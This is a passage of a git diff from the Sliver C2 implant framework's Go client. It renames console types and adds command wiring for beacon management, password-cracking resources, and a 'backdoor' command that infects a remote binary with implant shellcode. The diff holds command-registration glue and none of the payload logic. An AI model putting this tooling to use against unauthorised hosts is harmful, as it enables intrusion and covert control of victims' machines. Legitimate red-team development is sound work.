con.PrintInfof("Refreshing package cache ... ") clientConfig := parseArmoryHTTPConfig(cmd) refresh(clientConfig) @@ -66,7 +66,7 @@ func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string { +func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClient) []string { cachedAliases, _ := packagesInCache() results := []string{} for _, aliasManifestPath := range assets.GetInstalledAliasManifests() { @@ -89,7 +89,7 @@ func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverCons return results } -func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string { +func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClient) []string { _, cachedExtensions := packagesInCache() results := []string{} for _, extManifestPath := range assets.GetInstalledExtensionManifests() { diff --git a/client/command/backdoor/backdoor.go b/client/command/backdoor/backdoor.go index 9cdc64de29..66e2c2e346 100644 --- a/client/command/backdoor/backdoor.go +++ b/client/command/backdoor/backdoor.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// BackdoorCmd - Command to inject implant code into an existing binary -func BackdoorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// BackdoorCmd - Command to inject implant code into an existing binary. +func BackdoorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -56,7 +56,7 @@ func BackdoorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/backdoor/commands.go b/client/command/backdoor/commands.go new file mode 100644 index 0000000000..1b56221d6d --- /dev/null +++ b/client/command/backdoor/commands.go @@ -0,0 +1,39 @@ +package backdoor + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + backdoorCmd := &cobra.Command{ + Use: consts.BackdoorStr, + Short: "Infect a remote file with a sliver shellcode", + Long: help.GetHelpFor([]string{consts.BackdoorStr}), + Args: cobra.ExactArgs(1), + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + BackdoorCmd(cmd, con, args) + }, + } + flags.Bind("", false, backdoorCmd, func(f *pflag.FlagSet) { + f.StringP("profile", "p", "", "profile to use for service binary") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(backdoorCmd, func(comp *carapace.ActionMap) { + (*comp)["profile"] = generate.ProfileNameCompleter(con) + }) + carapace.Gen(backdoorCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the remote file to backdoor")) + + return []*cobra.Command{backdoorCmd} +} diff --git a/client/command/beacons/beacons.go b/client/command/beacons/beacons.go index 409d8ee824..8689680cf2 100644 --- a/client/command/beacons/beacons.go +++ b/client/command/beacons/beacons.go @@ -35,8 +35,8 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// BeaconsCmd - Display/interact with beacons -func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// BeaconsCmd - Display/interact with beacons. +func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { killFlag, _ := cmd.Flags().GetString("kill") killAll, _ := cmd.Flags().GetBool("kill-all") @@ -87,14 +87,15 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } + PrintBeacons(beacons.Beacons, filter, filterRegex, con) } -// PrintBeacons - Display a list of beacons -func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) { +// PrintBeacons - Display a list of beacons. +func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) { if len(beacons) == 0 { con.PrintInfof("No beacons 🙁\n") return @@ -103,7 +104,7 @@ func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp con.Printf("%s\n", tw.Render()) } -func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer { +func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) table.Writer { width, _, err := term.GetSize(0) if err != nil { width = 999 @@ -112,6 +113,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) wideTermWidth := con.Settings.SmallTermWidth < width + settings.SetMaxTableSize(tw) if wideTermWidth { tw.AppendHeader(table.Row{ "ID", diff --git a/client/command/beacons/commands.go b/client/command/beacons/commands.go new file mode 100644 index 0000000000..a6599eb145 --- /dev/null +++ b/client/command/beacons/commands.go @@ -0,0 +1,109 @@ +package beacons + +import ( + "context" + "fmt" + "strings" + + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/protobuf/commonpb" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + beaconsCmd := &cobra.Command{ + Use: consts.BeaconsStr, + Short: "Manage beacons", + Long: help.GetHelpFor([]string{consts.BeaconsStr}), + GroupID: consts.SliverHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + BeaconsCmd(cmd, con, args) + }, + } + flags.Bind("beacons", true, beaconsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("beacons", false, beaconsCmd, func(f *pflag.FlagSet) { + f.StringP("kill", "k", "", "kill the designated beacon") + f.BoolP("kill-all", "K", false, "kill all beacons") + f.BoolP("force", "F", false, "force killing the beacon") + + f.StringP("filter", "f", "", "filter beacons by substring") + f.StringP("filter-re", "e", "", "filter beacons by regular expression") + }) + completers.NewFlagCompsFor(beaconsCmd, func(comp *carapace.ActionMap) { + (*comp)["kill"] = BeaconIDCompleter(con) + }) + beaconsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a beacon", + Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + BeaconsRmCmd(cmd, con, args) + }, + } + carapace.Gen(beaconsRmCmd).PositionalCompletion(BeaconIDCompleter(con).Usage("beacon to delete (optional, prompts if no args given)")) + beaconsCmd.AddCommand(beaconsRmCmd) + + beaconsWatchCmd := &cobra.Command{ + Use: consts.WatchStr, + Short: "Watch your beacons", + Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}), + Run: func(cmd *cobra.Command, args []string) { + BeaconsWatchCmd(cmd, con, args) + }, + } + beaconsCmd.AddCommand(beaconsWatchCmd) + + beaconsPruneCmd := &cobra.Command{ + Use: consts.PruneStr, + Short: "Prune stale beacons automatically", + Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}), + Run: func(cmd *cobra.Command, args []string) { + BeaconsPruneCmd(cmd, con, args) + }, + } + flags.Bind("beacons", false, beaconsPruneCmd, func(f *pflag.FlagSet) { + f.StringP("duration", "d", "1h", "duration to prune beacons that have missed their last checkin") + }) + beaconsCmd.AddCommand(beaconsPruneCmd) + + return []*cobra.Command{beaconsCmd} +} + +// BeaconIDCompleter completes beacon IDs. +func BeaconIDCompleter(con *console.SliverClient) carapace.Action { + callback := func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + + results := make([]string, 0) + + beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) + if err == nil { + for _, b := range beacons.Beacons { + link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress) + id := fmt.Sprintf("%s (%d)", b.Name, b.PID) + userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname) + desc := strings.Join([]string{id, userHost, link}, " ") + + results = append(results, b.ID[:8]) + results = append(results, desc) + } + } + + return carapace.ActionValuesDescribed(results...).Tag("beacons"). + Invoke(c).Filter(c.Args).ToA() + } + + return carapace.ActionCallback(callback) +} diff --git a/client/command/beacons/helpers.go b/client/command/beacons/helpers.go index e12b8f7183..be772a12b7 100644 --- a/client/command/beacons/helpers.go +++ b/client/command/beacons/helpers.go @@ -34,21 +34,21 @@ import ( ) var ( - // ErrNoBeacons - No sessions available + // ErrNoBeacons - No sessions available. ErrNoBeacons = errors.New("no beacons") - // ErrNoSelection - No selection made + // ErrNoSelection - No selection made. ErrNoSelection = errors.New("no selection") - // ErrBeaconNotFound + // ErrBeaconNotFound. ErrBeaconNotFound = errors.New("no beacon found for this ID") ) -// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions -func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) { +// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions. +func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(beacons.Beacons) == 0 { return nil, ErrNoBeacons @@ -102,12 +102,12 @@ func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) { return nil, ErrNoSelection } -func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) { +func GetBeacon(con *console.SliverClient, beaconID string) (*clientpb.Beacon, error) { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(beacons.Beacons) == 0 { return nil, ErrNoBeacons @@ -120,12 +120,12 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea return nil, ErrBeaconNotFound } -func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) { +func GetBeacons(con *console.SliverClient) (*clientpb.Beacons, error) { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(beacons.Beacons) == 0 { return nil, ErrNoBeacons diff --git a/client/command/beacons/prune.go b/client/command/beacons/prune.go index 8c0ea55078..a408efb53d 100644 --- a/client/command/beacons/prune.go +++ b/client/command/beacons/prune.go @@ -29,8 +29,8 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// BeaconsPruneCmd - Prune stale beacons automatically -func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// BeaconsPruneCmd - Prune stale beacons automatically. +func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { duration, _ := cmd.Flags().GetString("duration") pruneDuration, err := time.ParseDuration(duration) if err != nil { @@ -42,7 +42,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } pruneBeacons := []*clientpb.Beacon{} @@ -64,7 +64,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args for index, beacon := range pruneBeacons { beacon, err := con.Rpc.GetBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) continue } con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID) @@ -80,7 +80,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args for _, beacon := range pruneBeacons { _, err := con.Rpc.RmBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) errCount++ } } diff --git a/client/command/beacons/rm.go b/client/command/beacons/rm.go index f3d8ee77d4..d0ee108d94 100644 --- a/client/command/beacons/rm.go +++ b/client/command/beacons/rm.go @@ -19,24 +19,50 @@ package beacons */ import ( + "context" + "strings" + "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/commonpb" ) -// BeaconsRmCmd - Display/interact with beacons -func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - beacon, err := SelectBeacon(con) - if err != nil { - con.PrintErrorf("%s\n", err) - return - } - grpcCtx, cancel := con.GrpcContext(cmd) - defer cancel() - _, err = con.Rpc.RmBeacon(grpcCtx, beacon) - if err != nil { - con.PrintErrorf("%s\n", err) - return +// BeaconsRmCmd - Display/interact with beacons. +func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + if len(args) > 0 { + beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintErrorf("Failed to get beacons: %s", err) + return + } + + for _, arg := range args { + for _, beac := range beacons.GetBeacons() { + if strings.HasPrefix(beac.ID, arg) { + grpcCtx, cancel := con.GrpcContext(cmd) + _, err = con.Rpc.RmBeacon(grpcCtx, beac) + if err != nil { + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + } + + cancel() + } + } + } + } else { + beacon, err := SelectBeacon(con) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + grpcCtx, cancel := con.GrpcContext(cmd) + defer cancel() + _, err = con.Rpc.RmBeacon(grpcCtx, beacon) + if err != nil { + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + return + } + con.PrintInfof("Beacon removed (%s)\n", beacon.ID) } - con.PrintInfof("Beacon removed (%s)\n", beacon.ID) } diff --git a/client/command/beacons/watch.go b/client/command/beacons/watch.go index 210de23102..9c4a514dab 100644 --- a/client/command/beacons/watch.go +++ b/client/command/beacons/watch.go @@ -30,8 +30,8 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// BeaconsWatchCmd - Watch your beacons in real-ish time -func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// BeaconsWatchCmd - Watch your beacons in real-ish time. +func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { done := waitForInput() defer func() { con.Printf(console.UpN+console.Clearln+"\r", 1) diff --git a/client/command/builders/builders.go b/client/command/builders/builders.go index ade5846ab4..d12ebf248b 100644 --- a/client/command/builders/builders.go +++ b/client/command/builders/builders.go @@ -32,11 +32,11 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// BuildersCmd - List external builders -func BuildersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// BuildersCmd - List external builders. +func BuildersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } if len(builders.Builders) == 0 { @@ -46,9 +46,10 @@ func BuildersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) { +func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", "Operator", "Templates", "Platform", "Compiler Targets", }) diff --git a/client/command/builders/commands.go b/client/command/builders/commands.go new file mode 100644 index 0000000000..d80cbe44fe --- /dev/null +++ b/client/command/builders/commands.go @@ -0,0 +1,29 @@ +package builders + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + buildersCmd := &cobra.Command{ + Use: consts.BuildersStr, + Short: "List external builders", + Long: help.GetHelpFor([]string{consts.BuildersStr}), + Run: func(cmd *cobra.Command, args []string) { + BuildersCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("builders", false, buildersCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{buildersCmd} +} diff --git a/client/command/command.go b/client/command/command.go index 840be14e43..62d60bc231 100644 --- a/client/command/command.go +++ b/client/command/command.go @@ -21,45 +21,31 @@ package command import ( "strings" - "github.com/reeflective/console" - "github.com/rsteube/carapace" "github.com/spf13/cobra" - "github.com/spf13/pflag" -) -const defaultTimeout = 60 + "github.com/reeflective/console" -// Flags is a convenience function to bind flags to a given command. -// name - The name of the flag set (can be empty). -// cmd - The command to which the flags should be bound. -// flags - A function exposing the flag set through which flags are declared. -func Flags(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) { - flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set. - flags(flagSet) // Let the user bind any number of flags to it. + client "github.com/bishopfox/sliver/client/console" +) - if persistent { - cmd.PersistentFlags().AddFlagSet(flagSet) - } else { - cmd.Flags().AddFlagSet(flagSet) - } -} +// ***** Exported Command API Types ****** -// FlagComps is a convenience function for adding completions to a command's flags. -// cmd - The command owning the flags to complete. -// bind - A function exposing a map["flag-name"]carapace.Action. -func FlagComps(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) { - comps := make(carapace.ActionMap) - bind(&comps) +// SliverBinder is the signature of command yielder functions passed and used by +// the Sliver client. Currently this function type is only used as an alias for +// loading command sets easily, and is not part of any interface. +type SliverBinder func(con *client.SliverClient) []*cobra.Command - carapace.Gen(cmd).FlagCompletion(comps) -} +// CobraRunnerE is a simple type alias to denote cobra Runners with errors. +// The type is mostly use to register additional pre/post runners for commands. +type CobraRunnerE func(_ *cobra.Command, _ []string) error + +// ***** Other Commands Binding Utilties ****** -// hideCommand generates a cobra annotation map with a single -// console.CommandHiddenFilter key, which value is a comma-separated list -// of filters to use in order to expose/hide commands based on requirements. -// Ex: cmd.Annotations = hideCommand("windows") will hide the cmd -// if the target session/beacon is not a Windows host. -func hideCommand(filters ...string) map[string]string { +// RestrictTargets generates a cobra annotation map with a single console.CommandHiddenFilter key +// to a comma-separated list of filters to use in order to expose/hide commands based on requirements. +// Ex: cmd.Annotations = RestrictTargets("windows") will only show the command if the target is Windows. +// Ex: cmd.Annotations = RestrictTargets("windows", "beacon") show the command if target is a beacon on Windows. +func RestrictTargets(filters ...string) map[string]string { if len(filters) == 0 { return nil } @@ -76,3 +62,63 @@ func hideCommand(filters ...string) map[string]string { console.CommandFilterKey: filts, } } + +// makeBind returns a commandBinder helper function. +// @menu - The command menu to which the commands should be bound (either server or implant menu). +func makeBind(cmd *cobra.Command, con *client.SliverClient) commandBinder { + return func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) { + found := false + + // Ensure the given command group is available in the menu. + if group != "" { + for _, grp := range cmd.Groups() { + if grp.Title == group { + found = true + break + } + } + + if !found { + cmd.AddGroup(&cobra.Group{ + ID: group, + Title: group, + }) + } + } + + // Bind the command to the root + for _, command := range cmds { + subcommands := command(con) + + // Always rudely overwrite the current + // command group: we don't cobra to panic. + for _, sub := range subcommands { + sub.GroupID = group + } + + cmd.AddCommand(subcommands...) + } + } +} + +// commandBinder is a helper used to bind commands to a given menu, for a given "command help group". +// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package. +// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function. +type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) + +// [ Core ] +// [ Sessions ] +// [ Execution ] +// [ Filesystem ] +// [ Info ] +// [ Network (C2)] +// [ Network tools ] +// [ Payloads ] +// [ Privileges ] +// [ Processes ] +// [ Aliases ] +// [ Extensions ] + +// Take care of: +// - double bind help command +// - double bind session commands diff --git a/client/command/completers/completers.go b/client/command/completers/completers.go index 6973751922..75bdcece48 100644 --- a/client/command/completers/completers.go +++ b/client/command/completers/completers.go @@ -20,10 +20,44 @@ package completers import ( "net" + "time" "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) +const ( + days = 24 * time.Hour + + CacheSessions = 1 * time.Minute // CacheSessions caches session/beacon IDs for a minute on-disk. + CacheEncodersInfo = 1 * time.Minute // CacheCompilerInfo caches encoders info for a minute on disk. + + CacheMsf = 7 * days // CacheMsf caches server Metasploit info for a week on disk + CacheCompilerInfo = 1 * time.Hour // CacheCompilerInfo caches server compiler info for an hour on disk. +) + +// NewCompsFor registers the command to the application completion engine and returns +// you a type through which you can register all sorts of completions for this command, +// from flag arguments, positional ones, per index or remaining, etc. +// +// See https://rsteube.github.io/carapace/ for a complete documentation of carapace completions. +func NewCompsFor(cmd *cobra.Command) *carapace.Carapace { + return carapace.Gen(cmd) +} + +// BindFlagCompletions is a convenience function for binding completers to flags requiring arguments. +// (It wraps a few steps to be used through the *carapace.Carapace type so you don't have to bother). +// cmd - The target command/subcommand which flags to be completed. +// bind - A function using a map "flag-name":carapace.Action for you to bind completions to the flag. +// +// See https://rsteube.github.io/carapace/ for a complete documentation of carapace completions. +func NewFlagCompsFor(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) { + comps := make(carapace.ActionMap) + bind(&comps) + + carapace.Gen(cmd).FlagCompletion(comps) +} + // ClientInterfacesCompleter completes interface addresses on the client host. func ClientInterfacesCompleter() carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { @@ -55,3 +89,32 @@ func ClientInterfacesCompleter() carapace.Action { return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':') }) } + +// LocalProxyCompleter gives URL completion to all flags/arguments that accept a client proxy address. +func LocalProxyCompleter() carapace.Action { + return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + prefix := "" + + hostPort := carapace.ActionMultiParts(":", func(c carapace.Context) carapace.Action { + switch len(c.Parts) { + case 0: + return ClientInterfacesCompleter() + case 1: + return carapace.ActionMessage("server port") + default: + return carapace.ActionValues() + } + }) + + return carapace.ActionMultiParts("://", func(c carapace.Context) carapace.Action { + switch len(c.Parts) { + case 0: + return carapace.ActionValues("http", "https").Tag("proxy protocols").Suffix("://") + case 1: + return hostPort + default: + return carapace.ActionValues() + } + }).Invoke(c).Prefix(prefix).ToA() + }) +} diff --git a/client/command/console/console.go b/client/command/console/console.go new file mode 100644 index 0000000000..35218996cf --- /dev/null +++ b/client/command/console/console.go @@ -0,0 +1,67 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os" + + "github.com/reeflective/console" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command" + "github.com/bishopfox/sliver/client/command/reaction" + client "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Command returns the closed-loop Sliver console command. +// +// The latter requires only the set of "server" commands, that is, all commands that +// do not require an active target to run on. This is only because sliver-client/server +// binaries are distinct, and the implant command tree does not care about this, so it +// is always the same in the console. +func Command(con *client.SliverClient, serverCmds console.Commands) *cobra.Command { + consoleCmd := &cobra.Command{ + Use: "console", + Short: "Start the sliver client console", + GroupID: consts.GenericHelpGroup, + RunE: func(cmd *cobra.Command, args []string) error { + + // Bind commands to the closed-loop console. + server := con.App.Menu(consts.ServerMenu) + server.SetCommands(serverCmds) + + sliver := con.App.Menu(consts.ImplantMenu) + sliver.SetCommands(command.SliverCommands(con)) + + // Reactions + n, err := reaction.LoadReactions() + if err != nil && !os.IsNotExist(err) { + con.PrintErrorf("Failed to load reactions: %s\n", err) + } else if n > 0 { + con.PrintInfof("Loaded %d reaction(s) from disk\n", n) + } + + // Start the console, blocking until player exit. + return con.StartConsole() + }, + } + + return consoleCmd +} diff --git a/client/command/crack/commands.go b/client/command/crack/commands.go new file mode 100644 index 0000000000..7fc4e08df0 --- /dev/null +++ b/client/command/crack/commands.go @@ -0,0 +1,143 @@ +package crack + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + crackCmd := &cobra.Command{ + Use: consts.CrackStr, + Short: "Crack: GPU password cracking", + Long: help.GetHelpFor([]string{consts.CrackStr}), + GroupID: consts.GenericHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + CrackCmd(cmd, con, args) + }, + } + flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + crackStationsCmd := &cobra.Command{ + Use: consts.StationsStr, + Short: "Manage crackstations", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.StationsStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackStationsCmd(cmd, con, args) + }, + } + crackCmd.AddCommand(crackStationsCmd) + + wordlistsCmd := &cobra.Command{ + Use: consts.WordlistsStr, + Short: "Manage wordlists", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.WordlistsStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackWordlistsCmd(cmd, con, args) + }, + } + crackCmd.AddCommand(wordlistsCmd) + + wordlistsAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a wordlist", + Run: func(cmd *cobra.Command, args []string) { + CrackWordlistsAddCmd(cmd, con, args) + }, + } + flags.Bind("", false, wordlistsAddCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "wordlist name (blank = filename)") + }) + carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file")) + wordlistsCmd.AddCommand(wordlistsAddCmd) + + wordlistsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a wordlist", + Run: func(cmd *cobra.Command, args []string) { + CrackWordlistsRmCmd(cmd, con, args) + }, + } + wordlistsCmd.AddCommand(wordlistsRmCmd) + carapace.Gen(wordlistsRmCmd).PositionalCompletion(CrackWordlistCompleter(con).Usage("wordlist to remove")) + + rulesCmd := &cobra.Command{ + Use: consts.RulesStr, + Short: "Manage rule files", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackRulesCmd(cmd, con, args) + }, + } + crackCmd.AddCommand(rulesCmd) + + rulesAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a rules file", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackRulesAddCmd(cmd, con, args) + }, + } + flags.Bind("", false, rulesAddCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "rules name (blank = filename)") + }) + carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file")) + rulesCmd.AddCommand(rulesAddCmd) + + rulesRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove rules", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackRulesRmCmd(cmd, con, args) + }, + } + carapace.Gen(rulesRmCmd).PositionalCompletion(CrackRulesCompleter(con).Usage("rules to remove")) + rulesCmd.AddCommand(rulesRmCmd) + + hcstat2Cmd := &cobra.Command{ + Use: consts.Hcstat2Str, + Short: "Manage markov hcstat2 files", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str}), + Run: func(cmd *cobra.Command, args []string) { + CrackHcstat2Cmd(cmd, con, args) + }, + } + crackCmd.AddCommand(hcstat2Cmd) + + hcstat2AddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a hcstat2 file", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackHcstat2AddCmd(cmd, con, args) + }, + } + flags.Bind("", false, hcstat2AddCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "hcstat2 